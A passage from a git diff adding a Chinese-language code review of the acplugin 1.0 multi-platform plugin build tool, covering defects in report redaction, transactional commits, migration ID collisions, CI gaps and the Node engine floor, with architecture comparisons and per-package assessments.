一致性:** 是否让 `-extension-hooks` 与 `-extension-mcp` 也随主包把 `engines.node` 提到 `>=22.18`(发布组 3 包一致)、CI `node-version` 是否同步。二选一:全改 12 处 + CI,或明确接受只改 4 处(主包+core+test+根)。默认先只改 4 处。 +2. **⚠️ P14 — dev 缓存的“工具版本指纹”(R1):** 运行期看不到 tsdown/rolldown semver。可选代理:(a) `process.versions.node` + `pnpm-lock.yaml` 内容 hash(推荐,lockfile 变即失效);(b) 退一步只用 `ACPLUGIN_VERSION`。需选定。 +3. **⚠️ P16-e — `SEMVER_PATTERN` 语义分歧:** 六平台 semver 正则有有意的严格度差异,盲目合一属 spec 变更须产品确认。**默认不合一**,只合并真正等价的纯 helper;`findCanonicalDocument` ROI 低可跳过。 +4. **P16 优先级锁定:** P16-c churn 最大(12+ 文件、10+ 调用点),若平台/Core 改动先落地会增加合并成本 —— 需锁定 P16 先行(已在顺序说明注明)。 +5. **P2 — success 语义有意变化:** 构建成功但 buildEnd 抛错时 `success=true`(诊断仍带一条 error 级 `*_BUILD_END_FAILED`)。符合拍板;已核查无“success===true 即无 error 诊断”耦合。仅供知悉。 +6. **P17d-6 / P17d-2 时效前提:** MCP tree-shake 断言依赖 dist 未混淆导出名;Claude 字段注释基于当前 reference/SchemaStore 事实。若发布构建启用混淆或上游 schema 变,按注释里的退路调整。 diff --git a/acplugin-1.0-review.md b/acplugin-1.0-review.md new file mode 100644 index 0000000..266328b --- /dev/null +++ b/acplugin-1.0-review.md @@ -0,0 +1,203 @@ +# acplugin 1.0 重构 / 品牌升级 —— 架构与代码 Review 报告 + +> **历史审计材料:** 本文记录修复前的 review 快照,不是当前实施权威。实际施工以 `.llmdoc-tmp/specs/acplugin-1.0-hardening-spec.md`、对抗复核后的方案及当前源码/稳定 `llmdoc/` 为准。 + +> 审阅对象:`@tokenroll/acplugin` 1.0(TokenRoll)—— 平台中立 Plugin 作者工程 + CLI,将同一工程编译为 Claude Code、Codex、Cursor、Antigravity、OpenCode、Pi 六个平台的原生交付单元,外加 Hooks / MCP 两个可选官方 Extension。 +> 基准规范:`.llmdoc-tmp/specs/tokenroll-acplugin-1.0-spec.md` +> 审阅日期:2026-08-07 +> 审阅方式:主控独立通读 Core(scanner / lifecycle / transaction / contracts / documents / diagnostics / reports / config)+ 12 条子代理深读通道(Core×3、Platforms×2、Extensions、CLI、Migration、Testing/Tooling)+ 3 条外部调研通道(对比主流构建工具 / 平台 Schema 时效性 / 工具链时效性)+ 4 项高危发现的对抗式独立复核。共 16 个代理、~250 万 token、0 失败;全部 4 项复核结论为 **CONFIRMED**。 + +--- + +## 0. 结论速览(TL;DR) + +**这是一次高质量的重构。** 架构设计是本次 review 的最大亮点:固定生命周期、owner-aware add-only 文档合并、事务式全量提交、符号品牌名义类型、按 owner 隔离的产物来源授权 —— 这些不是过度设计,而是针对「一份工程 → 六个平台、强所有权 / 强确定性 / 强安全边界」这个具体问题域**比主流插件系统的默认选择更贴切**的取舍。Core 的路径安全(符号链接逐段 lstat、NFC+大小写折叠冲突检测、`..`/绝对路径拒绝)、依赖图环检测、事务崩溃恢复(同文件系统 rename、死进程锁回收、回滚保留旧输出)都达到生产级水准。 + +**工程健康度(本机实测):** `typecheck` ✅、`lint`(含 131 文件中文注释守卫)✅、`build`(含 publint + attw)✅、`test` **59/60**(唯一失败即下方 REDACT-1,且其失败依赖运行机器的环境变量 —— 这本身是一个 CI 卫生信号)。 + +**真正需要处理的问题集中在 5 处,无一是架构性缺陷:** + +| # | 严重度 | 问题 | 位置 | 复核 | +|---|--------|------|------|------| +| **F1 (REDACT-1)** | 高 | 报告脱敏用「环境变量值子串替换」这一错误原语,默认作用于 `process.env`,破坏 §18 跨机确定性并会污染合法标识符(`claude-code` → `-code`) | `core/src/diagnostics.ts:49-54,73-74`;`lifecycle.ts:220`;`reports.ts:131` | ✅ CONFIRMED ×3 | +| **F2** | 高 | `buildEnd` 清理错误在事务 `afterSwap` 内抛出,会**回滚一个已验证、已提交成功的构建**并报告为失败 —— 违反 §9.4「buildEnd 不得掩盖原始失败」 | `core/src/lifecycle.ts:704-714` | ✅ CONFIRMED | +| **F3** | 高 | Migration 无规范 ID 冲突防护:`safeId()` 多对一,冲突资源静默互相覆盖(`Promise.all` 竞争),报告却仍标记双方 `migrated` —— 静默数据丢失 + 虚假成功报告 | `acplugin/src/migration/index.ts:221-225,1350-1358,1591-1611` | ✅ CONFIRMED | +| **F4** | 高 | PR CI(`check.yml`)只跑 lint+typecheck,**从不运行测试或构建**;tarball/consumer 验收只存在于手动脚本 | `.github/workflows/check.yml:21-22` | ✅ CONFIRMED | +| **F5** | 高(时效) | `engines.node: ">=20"` 已过时且自相矛盾:Node 20 于 2026-04-30 EOL,ESLint 10 要求 ≥20.19,tsdown 0.22 根本不支持 Node 20(需 ≥22.18);构建能过仅因开发机是 Node 22.21 | 三个公开包 `package.json` + 规范 §4.1 + `AGENTS.md` | 外部调研 | + +除此之外还有一批中/低优先项(重复代码、二级平台兼容矩阵测试缺失、确定性测试缺口、注释守卫防漂移等),详见第 4~7 节。 + +--- + +## 1. 审阅范围与方法 + +- **主控独立通读**(作为子代理结论的交叉校验,非二手):`scanner.ts`、`lifecycle.ts`、`transaction.ts`、`contracts.ts`、`documents.ts`、`diagnostics.ts`、`reports.ts`、`config.ts`、`artifacts.ts`、`run-project.ts`、`migration/index.ts`、`tsdown.config.ts`、`check-comments.mjs`、CLI JSON 输出路径。 +- **12 条内部深读通道**:core-lifecycle / core-datamodel / core-scanner / platforms-primary(Claude,Codex) / platforms-secondary(Cursor,Antigravity,OpenCode,Pi) / extensions(Hooks,MCP) / acplugin-cli / migration / testing-tooling。每条逐文件比对规范 MUST/MUST NOT。 +- **3 条外部调研通道**:① 与 Vite/Rollup/unplugin/esbuild/changesets/oclif 等主流方案对比架构取舍;② 用各平台 2026 官方文档核验生成的 manifest 形状;③ 核验 TS7/rolldown/tsdown/Vitest4/ESLint10/Node/ESM/pnpm-catalog 的时效与风险。 +- **对抗式复核**:对 correctness/security/determinism/spec 类高危发现,另派独立代理重读源码、默认怀疑、能否证伪。4 项全部 CONFIRMED。 + +> 说明:所有「已确认」缺陷均有 `file:line` 证据并经复核;数据丢失 / 崩溃类问题一项也没有出现。4 项高危复核最终都定级为 `high` 而非 `critical` —— 因为即便触发,事务完整性仍保证磁盘要么是旧的完整输出、要么是新的完整输出,不会损坏。 + +--- + +## 2. 架构评估:设计是否合理 + +**总体:合理,且多处优于主流默认。** 逐项对照主流方案: + +### 2.1 明确是「强项」的设计(保留) + +- **固定、不可重排的生命周期(Platform-then-Extension,配置顺序,§9.4 十五步)。** 主流 Vite/Rollup 需要 `enforce`/`order` 是因为互不知晓的 userland 插件在**共享可变模块图**上争抢;acplugin 的问题域相反 —— 封闭的 6 平台 + 2 官方 Extension,且每个 document 字段只有唯一写者。用「配置顺序 = 执行顺序 + 单写者」从构造上消除了争抢,§10.2 的报告/产物确定性顺序自然成立。这是比 Rollup 更贴合、接近 esbuild「不给顺序保证、让你合并成一个插件」哲学的正确取舍。 +- **owner-aware add-only `DocumentAddPatch`(对比主流 deep-merge)。** `patchDocument` 强制:父路径必须已存在且为对象、目标字段必须不存在(禁止 replace/remove/move/数组 append/隐式 deep-merge)、扩展点必须由 Platform 预声明且为空、每字段记录 Extension owner、重复写入直接冲突报错。deep-merge 的经典故障(同 key 静默 last-writer-wins、数组歧义)正是 §10.2 所禁止的非确定性;此处是对主流默认的**刻意且正确的反转**。(主控独读 `documents.ts` 逐行确认:`isEmptyField`/`addField` 用 `Object.hasOwn` 使 `__proto__` 污染 fail-closed,克隆时按 `localeCompare` 排序键 → 字节稳定序列化。) +- **事务式全量提交 + 崩溃恢复。** wx 锁文件 + 死进程 `kill(pid,0)/ESRCH` 回收、同级 stage 目录保证同文件系统 rename 原子性、旧 outDir 留作 backup、swap/afterSwap 失败回滚、下次取锁时清理中断事务/陈旧 stage、`AggregateError` 同时保留原始与回滚错误。这**高于同生态标准**(多数打包器 rimraf+write,崩溃即残缺输出),且精确匹配 §10.3「失败必须保留上一份完整输出、不得只提交成功平台」。 +- **「用户配置不进编译器」边界。** Platform 只拿到深度冻结的 JSON options 快照,`normalizeJsonValue` 拒绝非普通对象/函数/非有限数/循环引用;`runProject` 只暴露 cwd/config/command/mode/platform 子集/strict/commit,无 Compiler Registry / 可变 Draft / 写回调逃逸口。配合按 owner 隔离、无共同父目录的产物来源授权,构成真正的多 owner 隔离安全边界(§18 威胁模型)。主流插件系统不做是因为它们的插件都是同等可信的 userland;acplugin 因为跨了 jiti 动态加载边界,做得更严是**对的**。 +- **符号品牌名义类型。** 编译期 `declare const brand: unique symbol`(零运行时成本,防裸字符串冒充 id)+ 运行时模块私有 Symbol(在信任边界重校验 brand+apiVersion+shape)。因为配置经 jiti 从用户 TS 动态加载,运行时校验是必需的,不是镀金。 +- **Draft → 只读快照 → Core 密封 DeliveryUnit 的状态窄化。** 比 Rollup 恒可变的 `OutputBundle` 更干净,且使「Platform 必须序列化每个 Document、透传每个继承 Artifact」这一不变量可校验(`lifecycle.ts:621-636` 缺失即抛错);密封时附 sha256+size+mode 正是事务落盘后重新哈希校验的前提。 +- **Extension build-once / adapter-reuse。** 与 unplugin「中立核心 + 逐目标适配」同理,但 adapter 是带 apiVersion 握手的一等契约、且「一 Extension 对一 Platform 唯一 adapter、bridge 与官方冲突是配置期错误而非隐式覆盖」比 unplugin 的隐式合并更严格。 + +### 2.2 架构层面的弱点 / 缺口 + +- **W1(中)无缓存 / 增量能力,但 §18 明确 MUST 一个 content/config/tool-version keyed 的 dev cache。** 现实现里 `dev` 每次防抖变更全量重跑 `executeProject`,jiti 显式关闭缓存(`project-config.ts:141` `moduleCache:false, fsCache:false`)。这是**实现与自身规范矛盾**的一处:`build-once extension bundle` 那条 §18 要求做到了,但 dev cache 这条完全没有。6 个小平台下全量重建在体感上可接受,所以作为产品缺口是次要的,作为 spec-conformance 缺口是真实的 —— **要么实现,要么把该 MUST 降级为 MAY**(推荐后者,符合 YAGNI)。 +- **W2(中,规范表述)串行执行 + 「未来并行不得改变可观察顺序」是未预算的承诺。** 平台严格串行(`lifecycle.ts:510`),对 6 目标是合理的(YAGNI);但平台本就独立(隔离 workDir、无共享可变状态),规范承诺「未来并行不改变可观察顺序」并非一行代码 —— 现有单一共享 `DiagnosticCollector` 未按此结构化,真要并行需先做「按平台分桶 → 配置顺序合并」。建议在规范里注明该承诺的代价,避免被读成「免费」。 +- **A1(架构一致性,中)六个平台包 + 两默认平台间大量小工具函数逐字复制。** `report`/`isRecord`/`isNonEmptyString`/`SEMVER_PATTERN`/`serializeDocuments` 守卫/引用与路径安全 helper 在 6 个平台里各写一份;Codex 包内甚至有**三个行为等价但实现不同**的路径安全函数(`isSafeSkillPath` split、`isSafePluginReference` posix.normalize、`isSafeCodexPluginPath` split)。今天等价,但没有任何东西保证它们保持一致 —— 在「强确定性」姿态下,多份 `SEMVER_PATTERN`/`isRecord` 的潜在漂移是真实维护风险。建议把**平台无关的纯 helper**(不含平台语义,故不违反 §3「Core 不知具体平台」)提升到 Core 内部共享模块,并把 Codex 三个路径函数收敛为一个。 + +--- + +## 3. 已确认缺陷(详情、影响、修复建议) + +### F1 / REDACT-1(高,跨 3 个通道 + 3 次独立复核确认)—— 报告脱敏原语选错 + +**根因:** `diagnostics.ts:49-54` 的 `environmentValues()` 收集**每一个**长度 ≥4 的 `process.env` 值,`sanitizeReportText`(:73-74)对每个值做 `safe.split(v).join('')` —— **无边界的子串替换**,不是 token/词边界匹配。而 `executeLifecycle`(`lifecycle.ts:220` `request.environment ?? process.env`)与 `serializeBuildResult`(`reports.ts:131`,CLI 在 `cli.ts:62` 不传 options)都**默认落到 `process.env`**。 + +**双重危害(复核逐条复现):** +1. **确定性(违反 §18 / 验收标准 8):** `process.env` 不在 §18 列举的确定性输入内(工程字节、command/mode、Platform/Extension 版本、Node major、lockfile),却参与脱敏 → 同一工程字节在不同机器产出不同报告字节。本机 `SUPERSET_AGENT_ID=claude` / `SHELL=claude` 触发 `claude-code` → `-code`、`.claude-plugin/plugin.json` → `.-plugin/plugin.json`(这正是唯一失败测试的根因)。 +2. **正确性:** 对结构字段(platform id、document id、artifact path)盲目子串替换,会污染任何恰好包含 ≥4 字符 env 值子串的**合法文本**:复核实测 `1.0.0`(`npm_package_version`)、`true`(`CI`)、`main`(`GIT_BRANCH`)、`node`(`_`)均被改写。用户读来 debug 的 `diagnostic.message`/`compatibility.reason`/`metadata.reason` 会被静默改成 ``。CLI `--json` 里 `artifacts[].path` 被污染后指向磁盘上不存在的路径(磁盘从 `finalUnits` 原始字节提交,仍正确,于是**报告与磁盘 desync**)。 + +**为什么现有兜底不够:** `reports.ts:117-133` 的 `protectedValues` 只排除**完全相等**的 schema/身份值 —— `claude`(`claude-code` 的严格子串)不在其中,仍被替换;且该兜底只在 `serializeBuildResult` 路径,`createBuildResult` 返回给 `runProject()` 调用方的**程序化 BuildResult 完全没有保护**。这证明子串方案无法逐字段打补丁修好。 + +**修复(在共享函数一次修复所有 caller):** +- 删除 env 值子串替换整条逻辑;真正的密钥已由结构化手段可靠处理(`SECRET_KEY_PATTERN` 脱敏凭据形对象键、`Bearer/Basic/token=` 正则脱敏内联凭据、路径剥离)。正确姿态是**在源头就不把密钥值放进报告文本**(§18 本就禁止为声明读取 Secret 值),而不是事后用机器本地 env 快照去 grep(既过度包含污染真实文本、又不足包含漏掉任何不在当前 env 或经过变换的密钥)。 +- `executeLifecycle` 停止默认 `process.env`,脱敏环境默认空 → 报告与机器无关。 +- 若仍要保留机器密钥兜底:只对显式声明的密钥引用(Hook/MCP descriptor 已声明它们读哪些 env 变量,§14)生效,且只作用于 free-text message/reason/hint,**绝不**碰 id/path/code 等结构字段。 +- **配套测试**(见 F4/测试缺口):用一个含 `claude`/`1.0.0` 等平台 id 子串的真实 env-like map 跑完整 lifecycle,断言 platform id / path 完好。 + +### F2(高,复核确认)—— buildEnd 清理错误回滚已成功的构建 + +**根因:** commit 分支里 `finalize()`(会执行所有 platform/extension 的 `buildEnd`)被放进 `commitDeliveryUnits` 的 `afterSwap` 回调(`lifecycle.ts:708-712`)。`afterSwap` 在 `output-swapped` 之后、删除 backup 之前触发(`transaction.ts:388→407`)。若任意 `buildEnd` 抛错或发出 error 级诊断(`PLATFORM_/EXTENSION_BUILD_END_FAILED` 均 severity=error),`afterSwap` 重新抛出 → `commitUnitRoots` 把它当作 swap 失败:`fs.rm(resolved)` 删掉**刚刚换入、已通过 Registry + 候选校验的新输出**,再 `rename(backup, resolved)` 恢复旧 dist。于是一个通过全部 13 步的成功构建被拆毁,`committed` 停在 false、`success` 变 false —— 纯粹因清理阶段错误,正是 §9.4 禁止的「buildEnd 掩盖(此处是制造)失败」。 + +**影响:** 第三方或官方 platform/extension 的 `buildEnd` 抛错(Windows 上临时目录 EBUSY、日志错误等)会**销毁并回滚用户的 dist**、把成功 `build` 报成失败;期间还有一个 dist 短暂缺失的 I/O 窗口;且成功/失败取决于清理期环境 → 破坏确定性。缓解点(决定它是 high 而非 critical):回滚落到一致状态(旧 dist 完整、无残缺、无损坏),且仅在 buildEnd 真的抛错时触发。**现有唯一 buildEnd 失败测试走的是 `validate`(不提交)路径,commit 路径的 afterSwap→回滚从未被测试覆盖。** + +**修复:** 不要用 buildEnd 结果去 gate 事务 afterSwap。让 commit 完全完成(删 backup)后,在外层 finally 里跑 `finalize()`(与 non-commit 路径一致),把 buildEnd 错误记为诊断但**不下调 committed/success**。afterSwap 里不应放任何「本该回滚 swap」之外的工作(此处没有)。 + +### F3(高,复核确认)—— Migration 规范 ID 冲突导致静默数据丢失 + +**根因:** `safeId()`(`index.ts:221-225`)多对一:`my_tool`/`my-tool`/`My Tool` 都 → `my-tool`;无字母数字的名字 → 常量 `migrated-item`。全代码库**没有任何** emitted-ID/destination 注册表(各处 `new Set(...)` 都是字段白名单或关键词去重)。`copyText` 是 `fs.writeFile` = 静默覆盖。 + +**后果链(复核在每个位置确认):** +- Skills:`destination = src/skills//SKILL.md`,无条件 push 一个 `migrated` item,写入在 `Promise.all(writes)`(:1358)下 —— 冲突 id 竞争、幸存者不确定、双方都被报告为成功。命令/agent/MCP 同样静默覆盖(MCP 顺序写入 → 确定性覆盖但仍双报)。 +- `--all` workspace:`projectRoot = path.join(stage, safeId(plugin.meta.name))`(:1597)—— 同名 marketplace plugin 共享一个 stage 目录、互相覆盖 `acplugin.config.ts`/`package.json`,且 `projects.push(id)` 两次 → `pnpm-workspace.yaml` 出现重复 glob。 +- **报告谎报成功:** 诊断只来自 `validateCanonicalProject` 重扫磁盘幸存文件,对 `items` 零可见性 —— 单个幸存 skill 校验通过 → `success=true`,而 `items` 仍列两者为 mapped。**违反 §17.2(每资源结论必须准确)与 §18(相同输入字节稳定输出)。** + +**修复:** 维护 per-kind 的 emitted 规范 ID 集合(及 `--all` 的 per-stage workspace 目录集合)。冲突时确定性消歧(如 `-2`)或把落败资源标 `unmapped`/`degraded` 并给稳定原因,使任何写入都不被静默覆盖、报告反映真实。 + +### F4(高,复核确认)—— CI 不跑测试与构建 + +**根因:** `check.yml` 唯一的 run 步骤是 `pnpm run lint` 与 `pnpm run typecheck`,**没有 `pnpm test`、没有 `pnpm build`**(除手动 `patch.yml` 外无其他 workflow)。全工作区 174 个 `it()` 与 tsdown 构建从不在 PR 上自动执行。 + +**影响:** 破坏任意测试或破坏 tsdown 构建的 PR 会绿灯通过必需 CI。§19.2.11 把 lint/typecheck/test/build/package-verification 都列为验收门,CI 只强制了前两个。尤其构建是「六个私有平台被内联进公开包」的环节 —— 一个**不可构建的发布**可能无人察觉地合入。附带:§19.1.12 的 tarball/publint/attw/clean-consumer/Pi-pack 验收只存在于手动 `release:verify` 脚本,任何自动门都不跑它。 + +**修复:** 给 `check.yml` 加 `pnpm run test` 与 `pnpm run build`(或直接 `pnpm run check`);再加一个 job(至少在发布分支)跑 `pnpm run release:verify`,让 tarball/consumer 层被自动 gate 在 publish 之前。 + +### F5(高 / 时效)—— Node 20 floor 已过时且自相矛盾 + +**根因:** 三个公开包 + 规范 §4.1 + `AGENTS.md` 均声明 `engines.node ">=20"`。但 Node 20 已于 **2026-04-30 EOL**;ESLint 10.8 要求 `^20.19||^22.13||>=24`;**tsdown 0.22.14 要求 `^22.18||>=24.11`,根本不支持任何 Node 20**;构建能过仅因开发机是 Node 22.21。 + +**影响:** `">=20"` 已内部不一致且指向 EOL 运行时。Node 20.0–20.18 的消费者过不了 ESLint 自身引擎检查;开发/构建工具链在任何 Node 20 上都跑不起来。对一个把「Node major」作为确定性输入(§18)的产品,一个 EOL、自相矛盾的 floor 是真实缺陷。 + +**修复:** 三公开包 + 根 + 规范 §4.1 + `AGENTS.md` 的 `engines.node` 抬到 `">=22.18"`(或 `"^22.13 || >=24"` 对齐 ESLint)。若发布产物仍需 node20 目标(emitted 插件 target:node20 与开发工具链是两回事),把两者拆开:保留 emitted bundle 的 `target:'node20'`,但把开发/CI floor 声明为 22.18+。**不要在 1.0 宣传一个连自己构建工具都拒绝的 EOL 运行时。** + +--- + +## 4. 与主流方案 / 其他构建工具对比(是否有短板或过时) + +> 结论:**架构取舍普遍站得住脚**,多处优于主流默认(见 §2.1)。真正的「短板/过时」只有两处:W1 缺 dev 增量缓存(且与自身 §18 矛盾)、F5 Node floor 过时。工具链其余选择是**成熟押注而非预发布赌博**。 + +### 4.1 平台 Manifest / Schema 时效性(用各平台 2026 官方文档核验生成输出) + +**整条通道结论:稳。** 六个生成器都匹配当下官方形状,文件位置全部正确(`.claude-plugin/plugin.json`、`.codex-plugin/plugin.json`、`.cursor-plugin/plugin.json`、Antigravity 根 `plugin.json`、`opencode.json`、Pi `package.json`),golden fixture 带 2026-08-06 核验日期(§21),两个 schema 易变平台(Antigravity 单字段、Pi)处理保守正确。**未发现**过时/改名/删除的必填字段、错误文件位置或能力误分类。 + +- **Claude Code(陷阱,非 bug):** acplugin 输出的 `displayName` 与 `defaultEnabled` 在公共 SchemaStore JSON Schema 里**没有**,但在官方 plugins-reference 里**有且是当下字段** —— 即 acplugin 正确、社区 schema 滞后。**务必不要**为「对齐 SchemaStore」而删掉这两个合法字段。(建议在 `PLUGIN_FIELDS` 旁加一行注释注明此事 + `defaultEnabled` 需 Claude Code ≥v2.1.154。) +- **Codex:** 最详尽的通道,`.codex-plugin/plugin.json` + `interface` 子对象 + `.agents/plugins/marketplace.json` + `source` 对象形态 + 安装策略枚举 + `ON_INSTALL` 全字段匹配当下 Codex 文档。 +- **Cursor:** fixture 与权威 GitHub `plugin.schema.json` 逐字段匹配(`additionalProperties:false`、`author` 无 `url`(故 `CURSOR_METADATA_AUTHOR_URL_OMITTED` 警告正确)、glob 路径形态)。 +- **OpenCode / Antigravity / Pi:** MCP local/remote 形状、`{env:NAME}` 插值、workspace 无静态 manifest、Antigravity 单字段 + 逐字段 omitted 警告、Pi `pi` key + `pi-package` keyword + image/video 全部匹配当下文档。 + +### 4.2 与打包器 / CLI / 发布工具的架构对比 + +- **固定生命周期 vs Vite/Rollup 的 enforce/order:** acplugin 更贴合(封闭平台集、单写者),不是倒退。 +- **add-only owner patch vs deep-merge:** acplugin 更优(确定、冲突可检、可归属)。 +- **事务提交 vs 主流 rimraf+write:** acplugin 高于同生态标准。 +- **CLI 选 Commander vs oclif/citty/clipanion:** 正确的「懒」选择 —— acplugin 的扩展性在 Platform/Extension 模型里(从 `acplugin.config.ts` 加载),**不**想要 oclif 的 CLI 插件(那会是第二个竞争性扩展面、绕过 §16.4 的口子)。Commander 固定命令集 + 低启动 + 小依赖足矩。 +- **短板:** 串行无并行逃逸口(W2,可接受但规范承诺未预算);**无 dev 增量缓存(W1)** —— 每次防抖全量重跑,是唯一「实现落后于自身规范」之处,主流(unbuild stub、Vite transform cache、Rollup watch 增量、changesets 只处理变更包)都有某种增量。建议把 §18 该 MUST 降为 MAY(此规模全量重建可接受),不要给 `build` 加增量(与事务全量提交刻意不兼容)。 + +### 4.3 工具链时效与风险 + +**整体成熟,不是「TS7 预览 / 两个 TypeScript 包」听起来的赌博。** +- **TypeScript 7.0 已于 2026-07-08 GA**(`@typescript/native` = `typescript@7.0.2`,暴露 `tsc`);dts 用 `generator:'oxc'` 绕开 TS7 尚未 GA 的程序化 emit API(预计 7.1),声明完整生成(core 52KB)且经 attw+publint gate —— 这正是官方推荐的过渡策略。 +- **双 TypeScript 是正确的、有据可查的官方过渡模式**(`typescript`=`@typescript/typescript6@6.0.2` 暴露 `tsc6`,仅供 typescript-eslint 与中文注释 AST 检查器使用,它们还需 7.1 才会重新暴露的旧 JS 编译器 API)。唯一成本是认知负担(`typescript` 实为 v6、`@typescript/native` 实为 v7,读起来反直觉)—— 建议加一行注释,并把「7.1 落地后删除 `tsc6` 回退」作为显式技术债。 +- **Rolldown 1.0(2026-05-07 稳定)** 是链条里最稳的一环;Vitest 4.1.10 / ESLint 10 + flat config 都是当下稳定主版本。 +- **两个真实脚印:** ① F5 Node floor(见上);② **tsdown 仍是 0.x**(0.22,minor 间有破坏性变更),却是三个 1.0 公开包唯一构建工具 —— 建议在 catalog 里把 tsdown 从 `^` 收紧为**精确/波浪号**(`~0.22.14`),让 minor 升级成为**刻意**动作,并把「发布前 dist 字节 diff」接入 `release:verify`(§18/§19.2.8 本就要求可复现输出)。**不要**退回 tsup —— Rolldown/oxc 底座是对的长期押注。 +- **次要:** 两个 Extension 包的 `tsdown.config.ts` **缺 attw/publint gate**(主包有)—— §19.1.12 要求三个 tarball 都过 publint+类型检查,建议补齐;`isolatedDeclarations` 未开启但处处用 oxc dts 快路径(其假设 ID 兼容)—— 建议在 `tsconfig.base.json` 开 `isolatedDeclarations:true` 把该假设变成编译期强制(主包已证明代码 ID-clean,改动近零)。 + +--- + +## 5. 各通道逐项评估 + +### Core(3 条通道)—— 全部「设计良好、忠于规范」 +- **lifecycle:** 15 步顺序、per-platform 失败隔离(`errorCount` checkpoint + `removePlatform`)、buildEnd 严格逆序、事务全量提交/恢复均正确。缺陷仅 F2。次要:`pendingArtifacts` 在 adapter emit 后抛错有未处理 Promise rejection 窗口(中,`lifecycle.ts:557-580`,建议对每个 push 的 promise 挂 `.catch` 或用 `allSettled`);per-object buildEnd `status` 在一次运行内可能标注不一致(低,建议进循环前算一次终态传给所有 buildEnd)。 +- **data-model:** 符号品牌不可伪造、add-only patch 正确、深冻结/普通对象强制彻底、产物来源逐段符号链接检查、`hashFile` 流式。缺陷仅 F1 及其兜底不完整(reports 两条路径 env 集合不一致 —— 建议删除 env 子串脱敏后合并为单一脱敏边界)。低:`sortObject`/`cloneJson` 注释声称 localeCompare 键序,但 V8 对整数样式键强制数值序(确定但注释不准,建议改注释或转义数值键);localeCompare('en') 依赖 ICU 版本(§18 只钉 Node major,small-icu 构建可能漂移 —— 建议对 id/path 类稳定键改用 code-unit 比较)。 +- **scanner:** 符号链接分层防御(含祖先逐段 lstat `SOURCE_ROOT_SYMLINK`)、NFC+大小写折叠冲突、DFS 环检测带完整环路径、frontmatter fatal UTF-8 + `uniqueKeys`、Command-cannot-be-required 由 kind 限定图键天然成立、辅助文件字节+mode 保留 —— 均正确。**唯一真缺陷(中):** Public copy `to` 目标归一化忽略反斜杠为分隔符(`scanner.ts:926,934`),而 config 层(`config.ts:248`)把反斜杠当分隔符做 `..` 检查 → Windows 路径冲突盲点 + 跨 OS 非确定性(`to:'sub\\file.txt'` 与 `to:'sub/file.txt'` 在 POSIX 被当两个目标、在 Windows 是同一物理路径静默覆盖)。建议 `finalizePublicFiles` 也用 `split(/[\\/]/).join('/')`。 + +### Platforms —— 「构建良好、贴合规范」,主要弱点是**测试** +- **Claude/Codex(primary):** manifest 根结构、Codex 命令/agent→Skill fallback + 大小写 id 冲突校验、元数据去向、marketplace 自包含无远程副作用、兼容等级全部匹配 §12/§11.2/§15。`haiku`/`sonnet` 是 Claude 自家稳定别名、§12.2 明确允许(no-hardcoded-model 规则只针对 Cursor/OpenCode),非违规。手写严格 SVG 解析器是因 `image-size` 太宽松的合理偏离。弱点:~12 个 helper + marketplace 布局逐字复制(Codex 内 3 个路径安全实现,见 A1);§21 核验日期注解只有 Claude Hook schema 有,更易变的 Codex plugin/interface/openai.yaml 没有(建议补)。 +- **Cursor/Antigravity/OpenCode/Pi(secondary):** delivery 类型、根结构、逐平台元数据、兼容矩阵全部正确;Antigravity「只官方确认字段」纪律、OpenCode omit-if-empty 不覆盖消费者 `package.json`、Pi prompt-template fallback 都到位。**最大风险面(中):** 兼容矩阵与每个 validator 拒绝分支**几乎无测试**(cursor:2、antigravity:1、opencode:3、pi:1,且 fixture 都用 inherit-model + 默认 invocation,degraded/transform 代码路径从不在测试下执行)—— 一个静默丢失 degraded 条目/误分级 transform/削弱 validator 的回归会绿灯通过。建议加:用 `user:false` skill + 带 argumentHint 命令 + fast/capable+write/shell agent 的 fixture 断言精确 `CompatibilityEntry` 集合,并对畸形候选断言每个 validator 错误码。低:OpenCode validator 有一个**什么都不校验的惰性循环**(`validator.ts:43`,建议删除或让 fall-through 真的报 `OPENCODE_UNEXPECTED_ARTIFACT`)。 + +### Extensions(Hooks + MCP)—— 本次审阅**最强通道** +安全与确定性模型自洽、载重、非 cargo-cult:Hooks 每个 hook 只构建一次字节一致的中立 `handler.mjs` + 逐 adapter `wire.mjs`,运行时沙箱拦截 stdout/stderr/`process.exit`、装 uncaught/unhandledRejection、两 tick beforeExit 收尾、全部失败映射为稳定错误码且不泄露原始 payload,测试异常充分。MCP `{value}`(内联) 与 `{env}`(仅引用、构建从不读值) 分离到位、HTTPS-in-prod/loopback-dev、拒绝 native addon/未解析动态 import/额外 chunk、bounded 无密钥 smoke。六 adapter 兼容矩阵 cell-for-cell 匹配 §13.4/§14.4,peer 边界(`@tokenroll/acplugin`、rolldown external)干净。仅 4 项 低/info:`wire.mjs` 按 (adapter,hook) 重算而非 per-platform memoize(中,建议 memoize + 断言同平台跨 hook 字节一致);Codex 非 tool 事件上有意义 matcher 未报 degraded(低);stdio MCP smoke 每次 dev 重建都 spawn(低 DX,建议按 production gate 或按内容哈希缓存);运行时拦截器一处死三元(info)。 + +### CLI —— 「扎实、贴合规范」 +四命令共享一个 `runProject`/`executeProject`(§16.2);退出码 0/1/2/130 正确(dev 自持 SIGINT,其余继承 Node 默认);`--json` 严格单文档到 stdout、日志到 stderr;`--platform` 子集保留配置顺序并拒绝未配置/重复/空;strict 覆盖干净;jiti `moduleCache:false+fsCache:false` 给 dev 正确的新鲜重载且不自动加载 `.env`;tsdown 确实把 Core+六私有平台内联进主入口、MCP Extension 仅在 lazy migration chunk(§4.3 成立);公开入口精选、平台子路径不泄露内部类型(§4.4)。缺陷除 F1 的 CLI 层显形外均属次要:legacy `--target` 检测扫原始 argv 会对值为 `-t`/`--target` 的位置参数误报(低,建议 parse 后检测或在 `--` 处停止扫描);init 失败收敛成通用 `init failed.` 隐藏可操作原因(低 DX,建议透传 init 自己的校验消息)。 + +### Migration —— 隔离与安全路径「最强之一」,缺陷在确定性/保真 +只经公开 API 触碰 Core(§17.1);§4.3 lazy-chunk 隔离经构建产物实证成立(`dist/index.mjs` 不引用 migration/MCP,rolldown 不进任何发布产物);字段级保真 + 最差字段 rollup、`report.json` 凭据脱敏、GitHub 源校验、符号链接/路径逃逸处理、安全的「仅无内联凭据+仅 env 引用认证的远程 HTTPS MCP 自动迁移」、dry-run + 原子 rename、§17.3 映射表全部匹配。缺陷:F3(规范 ID 冲突,高);`report.json` 的 `items[]` 按未排序 `readdirSync` 顺序 → 跨文件系统字节不稳定(中,`utils/fs.ts:55-101`,建议对 items 按 kind→id→source 稳定排序);生成工程重校验继承 F1(低,随 F1 根因修复自动解决)。架构 